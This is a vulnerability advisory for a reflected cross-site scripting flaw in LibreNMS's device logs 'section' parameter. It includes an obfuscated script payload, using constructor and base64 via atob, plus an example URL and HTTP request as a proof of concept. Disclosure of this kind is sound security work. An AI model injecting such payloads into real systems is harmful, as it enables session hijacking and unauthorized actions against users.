LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "report_this()" function.

Details

The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter: <script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>

When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "report_this()" function. Other endpoints using this same function may also be vulnerable.

The vulnerable sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93

PoC

1. Inject the following payload into the "section" parameter of the "logs" tab: <script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>
2. Access the page with the injected payload.
3. Observe that the injected script executes when the page is loaded.

Example URL: http://<your_url>/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/

Example Request:

GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1
Host: <your_host>
Cookie: <your_cookie>

Impact

This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.